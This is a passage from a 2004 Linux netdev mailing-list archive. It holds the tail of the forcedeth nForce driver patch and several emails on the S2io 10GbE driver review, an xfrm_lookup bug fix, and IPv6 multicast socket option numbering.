pci_dev->irq; + np->rx_ring = pci_alloc_consistent(pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), + &np->ring_addr); + if (!np->rx_ring) + goto out_unmap; + np->tx_ring = &np->rx_ring[RX_RING]; + + dev->open = nv_open; + dev->stop = nv_close; + dev->hard_start_xmit = nv_start_xmit; + dev->get_stats = nv_get_stats; + dev->change_mtu = nv_change_mtu; + dev->set_multicast_list = nv_set_multicast; + dev->do_ioctl = nv_ioctl; + dev->tx_timeout = nv_tx_timeout; + dev->watchdog_timeo = NV_WATCHDOG_TIMEO; + + pci_set_drvdata(pci_dev, dev); + + /* read the mac address */ + base = get_hwbase(dev); + np->orig_mac[0] = readl(base + NvRegMacAddrA); + np->orig_mac[1] = readl(base + NvRegMacAddrB); + + dev->dev_addr[0] = (np->orig_mac[1] >> 8) & 0xff; + dev->dev_addr[1] = (np->orig_mac[1] >> 0) & 0xff; + dev->dev_addr[2] = (np->orig_mac[0] >> 24) & 0xff; + dev->dev_addr[3] = (np->orig_mac[0] >> 16) & 0xff; + dev->dev_addr[4] = (np->orig_mac[0] >> 8) & 0xff; + dev->dev_addr[5] = (np->orig_mac[0] >> 0) & 0xff; + + if (!is_valid_ether_addr(dev->dev_addr)) { + /* + * Bad mac address. At least one bios sets the mac address + * to 01:23:45:67:89:ab + */ + printk(KERN_ERR "%s: Invalid Mac address detected: %02x:%02x:%02x:%02x:%02x:%02x\n", + pci_name(pci_dev), + dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], + dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); + printk(KERN_ERR "Please complain to your hardware vendor. Switching to a random MAC.\n"); + dev->dev_addr[0] = 0x00; + dev->dev_addr[1] = 0x00; + dev->dev_addr[2] = 0x6c; + get_random_bytes(&dev->dev_addr[3], 3); + } + + dprintk(KERN_DEBUG "%s: MAC Address %02x:%02x:%02x:%02x:%02x:%02x\n", pci_name(pci_dev), + dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], + dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); + + np->tx_flags = cpu_to_le16(NV_TX_LASTPACKET|NV_TX_LASTPACKET1|NV_TX_VALID); + if (id->driver_data & DEV_NEED_LASTPACKET1) + np->tx_flags |= cpu_to_le16(NV_TX_LASTPACKET1); + if (id->driver_data & DEV_IRQMASK_1) + np->irqmask = NVREG_IRQMASK_WANTED_1; + if (id->driver_data & DEV_IRQMASK_2) + np->irqmask = NVREG_IRQMASK_WANTED_2; + if (id->driver_data & DEV_NEED_TIMERIRQ) + np->irqmask |= NVREG_IRQ_TIMER; + + err = register_netdev(dev); + if (err) { + printk(KERN_INFO "forcedeth: unable to register netdev: %d\n", err); + goto out_freering; + } + printk(KERN_INFO "%s: forcedeth.c: subsystem: %05x:%04x bound to %s\n", + dev->name, pci_dev->subsystem_vendor, pci_dev->subsystem_device, + pci_name(pci_dev)); + + return 0; + +out_freering: + pci_free_consistent(np->pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), + np->rx_ring, np->ring_addr); + pci_set_drvdata(pci_dev, NULL); +out_unmap: + iounmap(get_hwbase(dev)); +out_relreg: + pci_release_regions(pci_dev); +out_disable: + pci_disable_device(pci_dev); +out_free: + free_netdev(dev); +out: + return err; +} + +static void __devexit nv_remove(struct pci_dev *pci_dev) +{ + struct net_device *dev = pci_get_drvdata(pci_dev); + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + unregister_netdev(dev); + + /* special op: write back the misordered MAC address - otherwise + * the next nv_probe would see a wrong address. + */ + writel(np->orig_mac[0], base + NvRegMacAddrA); + writel(np->orig_mac[1], base + NvRegMacAddrB); + + /* free all structures */ + pci_free_consistent(np->pci_dev, sizeof(struct ring_desc) * (RX_RING + TX_RING), np->rx_ring, np->ring_addr); + iounmap(get_hwbase(dev)); + pci_release_regions(pci_dev); + pci_disable_device(pci_dev); + free_netdev(dev); + pci_set_drvdata(pci_dev, NULL); +} + +static struct pci_device_id pci_tbl[] = { + { /* nForce Ethernet Controller */ + .vendor = PCI_VENDOR_ID_NVIDIA, + .device = 0x1C3, + .subvendor = PCI_ANY_ID, + .subdevice = PCI_ANY_ID, + .driver_data = DEV_IRQMASK_1|DEV_NEED_TIMERIRQ, + }, + { /* nForce2 Ethernet Controller */ + .vendor = PCI_VENDOR_ID_NVIDIA, + .device = 0x0066, + .subvendor = PCI_ANY_ID, + .subdevice = PCI_ANY_ID, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, + }, + { /* nForce3 Ethernet Controller */ + .vendor = PCI_VENDOR_ID_NVIDIA, + .device = 0x00D6, + .subvendor = PCI_ANY_ID, + .subdevice = PCI_ANY_ID, + .driver_data = DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, + }, + {0,}, +}; + +static struct pci_driver driver = { + .name = "forcedeth", + .id_table = pci_tbl, + .probe = nv_probe, + .remove = __devexit_p(nv_remove), +}; + + +static int __init init_nic(void) +{ + printk(KERN_INFO "forcedeth.c: Reverse Engineered nForce ethernet driver. Version %s.\n", FORCEDETH_VERSION); + return pci_module_init(&driver); +} + +static void __exit exit_nic(void) +{ + pci_unregister_driver(&driver); +} + +MODULE_PARM(max_interrupt_work, "i"); +MODULE_PARM_DESC(max_interrupt_work, "forcedeth maximum events handled per interrupt"); + +MODULE_AUTHOR("Manfred Spraul "); +MODULE_DESCRIPTION("Reverse Engineered nForce ethernet driver"); +MODULE_LICENSE("GPL"); + +MODULE_DEVICE_TABLE(pci, pci_tbl); + +module_init(init_nic); +module_exit(exit_nic); --------------080200080605050005000104-- From leonid.grossman@s2io.com Wed Feb 4 17:21:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 17:21:47 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i151LgKO017788 for ; Wed, 4 Feb 2004 17:21:42 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i151FOjF013425; Wed, 4 Feb 2004 20:15:24 -0500 (EST) Received: from lgt40 ([10.16.16.115]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i151FLKK026173; Wed, 4 Feb 2004 20:15:22 -0500 (EST) From: "Leonid Grossman" To: "'Grant Grundler'" Cc: "'Andi Kleen'" , , "'Ragu Vatsavayi'" Subject: RE: FW: Submission for S2io 10GbE driver Date: Wed, 4 Feb 2004 17:14:36 -0800 Message-ID: <002a01c3eb85$6c96dd70$7310100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 In-Reply-To: <20040205004952.GA27510@cup.hp.com> X-Spam-Score: -101 X-Spam-Outlook-Score: () X-Spam-Features: IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3002 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > Use "u64 phys" and it will always be correct. > > And "char * virt" has the same problem. "char *" will vary > in size depending arch (ILP32 vs LP64 data model) as well. > You did claim this code worked on i386, ia64 and PPC64, right? Yes (Opteron platforms too). Thanks for the input! Leonid > > hth, > grant > From ak@suse.de Wed Feb 4 17:35:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 17:35:14 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i151Z9KO018831 for ; Wed, 4 Feb 2004 17:35:09 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 6AB8513B452; Thu, 5 Feb 2004 02:32:11 +0100 (CET) Date: Thu, 5 Feb 2004 02:32:09 +0100 From: Andi Kleen To: "Leonid Grossman" Cc: netdev@oss.sgi.com, raghava.vatsavayi@s2io.com, iod00d@hp.com, anton@samba.org Subject: Re: FW: Submission for S2io 10GbE driver Message-Id: <20040205023209.4abf2342.ak@suse.de> In-Reply-To: <004201c3eb5f$ac4e9f00$740efea9@S2IOtech.com> References: <20040123232209.2739e6aa.ak@suse.de> <004201c3eb5f$ac4e9f00$740efea9@S2IOtech.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3003 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Wed, 4 Feb 2004 12:44:21 -0800 "Leonid Grossman" wrote: > > > > All the ARCH_PPC64 ifdefs shouldn't be needed. Can you remove > > that? If there are problems in ppc64 code they should be > > fixed there, not worked around. Same with the ifdefs for > > kernel 2.6 features. An driver integrated into the kernel > > should not contain such ifdefs. > > > Hi Andi, > You are right some of the ifdefs are not needed and we are removing > these; it is not clear if we can get rid of all of them for the > following reasons: > > 1) We did't find quad word memory operations(writeq and readq) on PCI > bus for PPC64 architecture. That's a bug in ppc64 then. Can you complain to them? I would go ahead and just use them in the driver unconditionally and wait for the ppc64 to fix it. Or just add them there, it's probably simple. > 2) We did't had a chance to test the driver on other big endian systems > apart from PPC64. In PPC64 architecture though, > I write/read a value to/from ioremaped address it swaps the value and > behaves like a little endian m/c: > > For ex: if I do writel(0x12345678, addr) then in it writes > addr: 78, (addr+1):56, (addr+2):34, (addr+3):12 Hmm, weird. Don't know, ask the ppc64 people. > On a little endian m/c like IA32 also writel writes same values in a > similar manner as shown above. > So the question is - > Do all big endian machines with linux OS swap the values and write in > little endian format?? I hope not. > 3)In PPC64 architecture dma_addr_t is u32, unlike remaining 64 bit > architectures where it is defined as u64. Because > of this we have to deal separately for PP64. > So any suggestions will be useful, .i.e. generally how PPC64 developers > deal with this? You could just use u64 in your structure definitions for now. -Andi From krkumar@us.ibm.com Wed Feb 4 17:44:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 17:44:59 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i151iuKO019368 for ; Wed, 4 Feb 2004 17:44:56 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i151inpZ554246; Wed, 4 Feb 2004 20:44:49 -0500 Received: from DYN318430BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i151imOB086738; Wed, 4 Feb 2004 18:44:48 -0700 Date: Wed, 4 Feb 2004 17:41:48 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@DYN318430BLD.beaverton.ibm.com To: "David S. Miller" cc: netdev@oss.sgi.com Subject: [PATCH] bug in xfrm_lookup [bugzilla 2017] In-Reply-To: <20040119211156.4bff1640.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3004 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, One of my earlier patches had a bug in xfrm_lookup() causin schedule() to get called though MSG_DONTWAIT was specified. I am going to send the following patch to the bugzilla user who created this bug report and ask them to test it. I thought I will let you know of this problem and I will send you a confirmation once I get a response that the problem is solved. Thanks, - KK diff -ruN linux-2.6.2/net/xfrm/xfrm_policy.c linux-2.6.2.new/net/xfrm/xfrm_policy.c --- linux-2.6.2/net/xfrm/xfrm_policy.c 2004-02-04 17:33:51.000000000 -0800 +++ linux-2.6.2.new/net/xfrm/xfrm_policy.c 2004-02-04 17:34:37.000000000 -0800 @@ -775,7 +775,7 @@ if (unlikely(nx<0)) { err = nx; - if (err == -EAGAIN && !flags) { + if (err == -EAGAIN && flags) { DECLARE_WAITQUEUE(wait, current); add_wait_queue(&km_waitq, &wait); From anton@samba.org Wed Feb 4 17:56:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 17:57:00 -0800 (PST) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i151uuKO019970 for ; Wed, 4 Feb 2004 17:56:57 -0800 Received: by lists.samba.org (Postfix, from userid 504) id 16D002C08B; Thu, 5 Feb 2004 01:57:10 +0000 (GMT) Date: Thu, 5 Feb 2004 12:51:49 +1100 From: Anton Blanchard To: Andi Kleen Cc: Leonid Grossman , netdev@oss.sgi.com, raghava.vatsavayi@s2io.com, iod00d@hp.com Subject: Re: FW: Submission for S2io 10GbE driver Message-ID: <20040205015149.GN19011@krispykreme> References: <20040123232209.2739e6aa.ak@suse.de> <004201c3eb5f$ac4e9f00$740efea9@S2IOtech.com> <20040205023209.4abf2342.ak@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040205023209.4abf2342.ak@suse.de> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3005 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: anton@samba.org Precedence: bulk X-list: netdev > > 1) We did't find quad word memory operations(writeq and readq) on PCI > > bus for PPC64 architecture. > > That's a bug in ppc64 then. Can you complain to them? I would go > ahead and just use them in the driver unconditionally and wait for the > ppc64 to fix it. Or just add them there, it's probably simple. Yep ppc64 should define them. If you are submitting a driver for inclusion in 2.6 leave these bits out, its my fault they arent defined and I'll get them added in. Turns out lots of architectures are missing these, I'll fire an email off to linux-arch about it. > > On a little endian m/c like IA32 also writel writes same values in a > > similar manner as shown above. > > So the question is - > > Do all big endian machines with linux OS swap the values and write in > > little endian format?? > > I hope not. Thats how all big endian platforms work. in* and out*, read* and write* byteswap. > > 3)In PPC64 architecture dma_addr_t is u32, unlike remaining 64 bit > > architectures where it is defined as u64. Because > > of this we have to deal separately for PP64. > > So any suggestions will be useful, .i.e. generally how PPC64 developers > > deal with this? > > You could just use u64 in your structure definitions for now. Its up to the architecture as to what a dma_addr_t looks like. On our current machines we only support operating through the IOMMU, so all PCI bus address are in fact 32bit. Most drivers dont care how big a dma_addr_t is, is there something you are doing that does? Anton From yoshfuji@linux-ipv6.org Wed Feb 4 18:09:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 18:09:14 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15295KO020663 for ; Wed, 4 Feb 2004 18:09:06 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 045DF33CA5; Thu, 5 Feb 2004 11:09:56 +0900 (JST) Date: Thu, 05 Feb 2004 11:09:55 +0900 (JST) Message-Id: <20040205.110955.10680487.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: note on shared socket options From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040204.203739.16838230.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3006 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Wed, 4 Feb 2004 13:49:51 -0800), David Stevens says: > These are defined by draft-ietf-magma-msf-api-03.txt to be in > netinet/in.h (no place else). What's the advantage of adding another > copy in in6.h (which currently isn't used by anything)? Portable user apps > must include netinet/in.h for them, and in-kernel code already does. (I assume you're talking about the "alternatives.") Kernel do not use netinet/*.h. My main point is, do not let people (or myself) forget reserved (or used) range. So, it is enough for me to add a comment on that. Well, I really do not think that the name of MCAST_xxx is good. Numeric assignment of "MCAST_xxx" functionalities is only required to be unique in that level in theory since we put MCAST_xxx at network level (IPPROTO_{IP,IPV6} for now). However, they are share just because of the name. Anyway, what I want to add is some small note on shared range. Thanks. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From leonid.grossman@s2io.com Wed Feb 4 18:48:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 18:48:56 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i152moKO022445 for ; Wed, 4 Feb 2004 18:48:53 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i152lmjF013864; Wed, 4 Feb 2004 21:47:48 -0500 (EST) Received: from lgt40 ([192.168.0.4]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i152liKK013285; Wed, 4 Feb 2004 21:47:45 -0500 (EST) From: "Leonid Grossman" To: "'Anton Blanchard'" , "'Andi Kleen'" Cc: , , Subject: RE: FW: Submission for S2io 10GbE driver Date: Wed, 4 Feb 2004 18:46:59 -0800 Message-ID: <005701c3eb92$55dc7650$7310100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 In-Reply-To: <20040205015149.GN19011@krispykreme> X-Spam-Score: -101 X-Spam-Outlook-Score: () X-Spam-Features: IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3007 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > > > 1) We did't find quad word memory operations(writeq and readq) on > > > PCI bus for PPC64 architecture. > > > > That's a bug in ppc64 then. Can you complain to them? I would go > > ahead and just use them in the driver unconditionally and > wait for the > > ppc64 to fix it. Or just add them there, it's probably simple. > > Yep ppc64 should define them. If you are submitting a driver > for inclusion in 2.6 leave these bits out, its my fault they > arent defined and I'll get them added in. Hi Anton, We are submitting for inclusion in 2.6 kernel but we'd like to have same code for 2.4 kernels as well, most our customers will stay with 2.4 for a while... If you add the bits to 2.6, we would still need a solution for 2.4 kernel. > > > On a little endian m/c like IA32 also writel writes same > values in a > > > similar manner as shown above. So the question is - > > > Do all big endian machines with linux OS swap the values > and write in > > > little endian format?? > > > > I hope not. > > Thats how all big endian platforms work. in* and out*, read* > and write* byteswap. So, we should make the code big endian specific rather than PPC64 specific, right? Thanks, Leonid From errai110@kornet.net Wed Feb 4 19:39:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 19:39:37 -0800 (PST) Received: from relay1.kornet.net (relay1.kornet.net [211.48.62.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i153dXKO024488 for ; Wed, 4 Feb 2004 19:39:34 -0800 Received: from [211.192.194.172] (errai110@kornet.net) by relay1.kornet.net (Terrace MailWatcher) with ESMTP id 2004020512:39:28:010046.18361.1662 for ; Thu, 05 Feb 2004 12:39:27 +0900 (KST) Message-ID: <000701c3eb99$98baabc0$3737030a@darkstar> From: "Lee, Kuk Hyun" To: References: <107592194524598240.1.ppp13@ppp13> Subject: Re: [question] netif_rx() - why don't call raise_softirq()? Date: Thu, 5 Feb 2004 12:39:02 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 3008 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: errai110@kornet.net Precedence: bulk X-list: netdev I solved it. sorry dummy posting :) From dlstevens@us.ibm.com Wed Feb 4 20:02:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 20:02:43 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1542XKO025247 for ; Wed, 4 Feb 2004 20:02:39 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1542Hk2657896; Wed, 4 Feb 2004 23:02:17 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1542GOA096258; Wed, 4 Feb 2004 21:02:16 -0700 In-Reply-To: <20040205.110955.10680487.yoshfuji@linux-ipv6.org> Importance: Normal Sensitivity: Subject: Re: [PATCH] IPV6: note on shared socket options To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 4 Feb 2004 21:02:15 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/04/2004 21:02:17 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4A2DF8625C48f9e8a93df938690918c08BBE4A2DF8625C4" Content-Disposition: inline X-archive-position: 3009 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=08BBE4A2DF8625C48f9e8a93df938690918c08BBE4A2DF8625C4 Content-type: text/plain; charset=US-ASCII I see what you mean now; I agree. I'm not sure all of the other socket options for each of v4 and v6 appear in a single file, either; they definitely aren't all grouped so you can tell they come from the same numeric namespace. So, picking new numbers requires some detective work, but every little bit helps. :-) +-DLS --0__=08BBE4A2DF8625C48f9e8a93df938690918c08BBE4A2DF8625C4 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

I see what you mean now; I agree. I'm not sure all of the other
socket options for each of v4 and v6 appear in a single file,
either; they definitely aren't all grouped so you can tell they come
from the same numeric namespace. So, picking new numbers
requires some detective work, but every little bit helps. :-)

+-DLS
--0__=08BBE4A2DF8625C48f9e8a93df938690918c08BBE4A2DF8625C4-- From anton@samba.org Wed Feb 4 20:12:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 20:12:46 -0800 (PST) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i154CNKO025790 for ; Wed, 4 Feb 2004 20:12:24 -0800 Received: by lists.samba.org (Postfix, from userid 504) id 95C062C22C; Thu, 5 Feb 2004 03:28:01 +0000 (GMT) Date: Thu, 5 Feb 2004 14:25:20 +1100 From: Anton Blanchard To: Leonid Grossman Cc: "'Andi Kleen'" , netdev@oss.sgi.com, raghava.vatsavayi@s2io.com, iod00d@hp.com Subject: Re: FW: Submission for S2io 10GbE driver Message-ID: <20040205032519.GR19011@krispykreme> References: <20040205015149.GN19011@krispykreme> <005701c3eb92$55dc7650$7310100a@S2IOtech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <005701c3eb92$55dc7650$7310100a@S2IOtech.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3010 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: anton@samba.org Precedence: bulk X-list: netdev > We are submitting for inclusion in 2.6 kernel but we'd like to have same > code for > 2.4 kernels as well, most our customers will stay with 2.4 for a > while... If you add the bits to 2.6, we would still need a solution for > 2.4 kernel. OK, It should be easy to get the readq/writeq macros put into 2.4 as well. > > Thats how all big endian platforms work. in* and out*, read* > > and write* byteswap. > > So, we should make the code big endian specific rather than PPC64 > specific, right? Well there are non byteswapping versions on some architectures (__raw_read*/__raw_write*). However at least on ppc32 they dont contain memory barriers so you could into trouble using them. What does your code look like? You could key off __BIG_ENDIAN if you really need to. Is it performance critical? Anton From pekkas@netcore.fi Wed Feb 4 22:25:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 22:26:12 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i156PoKO000837 for ; Wed, 4 Feb 2004 22:25:51 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i156PTf11141; Thu, 5 Feb 2004 08:25:30 +0200 Date: Thu, 5 Feb 2004 08:25:29 +0200 (EET) From: Pekka Savola To: David Stevens cc: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= , , Subject: Re: [PATCH] IPV6: note on shared socket options In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-archive-position: 3011 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Wed, 4 Feb 2004, David Stevens wrote: > Yoshifuji-san, > These are defined by draft-ietf-magma-msf-api-03.txt to be in > netinet/in.h (no place else). What's the advantage of adding another > copy in in6.h (which currently isn't used by anything)? Portable user apps > must include netinet/in.h for them, and in-kernel code already does. FWIW, this is already RFC 3678, so it might make sense to check whether there have been changes since the draft version implemented. > YOSHIFUJI Hideaki / $B5HF#1QL@(B @oss.sgi.com on > 02/04/2004 03:37:39 AM > > Sent by: netdev-bounce@oss.sgi.com > > > To: davem@redhat.com > cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com > Subject: [PATCH] IPV6: note on shared socket options > > > > Hello. > > There're several socket options for multicast > shared between IPv4 and IPv6. > Add a note that some range is already used for them. > > (Alternatevely, we could define other names like this: > #define IPV6_MCAST_JOIN_GROUP MCAST_JOIN_GROUP > #define IPV6_MCAST_BLOCK_SOURCE MCAST_BLOCK_SOURCE > /* bla, bla ... */ > ) > > ===== include/linux/in6.h 1.5 vs edited ===== > --- 1.5/include/linux/in6.h Fri Mar 21 14:23:30 2003 > +++ edited/include/linux/in6.h Wed Feb 4 20:30:47 2004 > @@ -183,5 +183,17 @@ > #define IPV6_IPSEC_POLICY 34 > #define IPV6_XFRM_POLICY 35 > > +/* > + * Multicast: > + * Following socket options are shared between IPv4 and IPv6. > + * > + * MCAST_JOIN_GROUP 42 > + * MCAST_BLOCK_SOURCE 43 > + * MCAST_UNBLOCK_SOURCE 44 > + * MCAST_LEAVE_GROUP 45 > + * MCAST_JOIN_SOURCE_GROUP 46 > + * MCAST_LEAVE_SOURCE_GROUP 47 > + * MCAST_MSFILTER 48 > + */ > > #endif > > -- > Hideaki YOSHIFUJI @ USAGI Project > GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA > -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From davem@redhat.com Wed Feb 4 23:13:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 23:13:20 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i157D1KO011019 for ; Wed, 4 Feb 2004 23:13:02 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i157D0b16710; Thu, 5 Feb 2004 02:13:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com 